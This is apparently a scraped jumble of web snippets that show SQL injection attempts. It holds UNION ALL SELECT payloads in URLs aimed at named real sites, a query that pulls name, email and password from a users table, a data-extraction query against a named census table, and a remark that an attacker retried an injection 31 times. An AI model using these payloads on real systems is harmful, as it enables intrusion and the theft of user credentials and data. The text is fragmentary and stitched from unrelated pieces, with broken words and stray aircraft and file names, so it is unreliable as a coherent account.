... полей //http://m.loading.se/news.php?pub_id=999999.9 union all select 0x31303235343830303536,0x31303235343830303536, 0x31303235343830303536 ...
... Syntax: 999999.9' union all select %String_Col%,0x31303235343830303536, 0x31303235343830303536,0x31303235343830303536 ...
... Syntax: 999999.9' union all select %String_Col%,0x31303235343830303536, 0x313032353438 30303536,0x31303235343830303536 ...
They UNION-ed with your existing query. replacing all your %20 with (space) since its url-encoded yields
999999.9 union all select 0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536
(@x OR @y) UNION ALL SELECT name,email,password FROM users
...(select concat(0x27,0x7e,army_indianarmy1865_tblocrtext.si zex,0x5e,army_indianarmy1865_tblocrtext.DatasetNam e,0x27,0x7e) from `census`.army_indianarmy1865_tblocrtext limit 3...
union all select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null
http://runetracker.org/track-zezima,999999.9+union+all+select+0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536...
ID=999999.9 UNION ALL SELECT 0x31303235343830303536--. and then they tried the above injection 31 more times (in 1 second intervals)
999999.9 union all select 0... jetstream 4000 janiek n102dh dh british airspace avro rj100 Char d'assault CAMSIM359AI_X.ZIP) 2014 boeing
...all select 0x31303235343830303536,0x31303235343830303536,0x31303235343830303536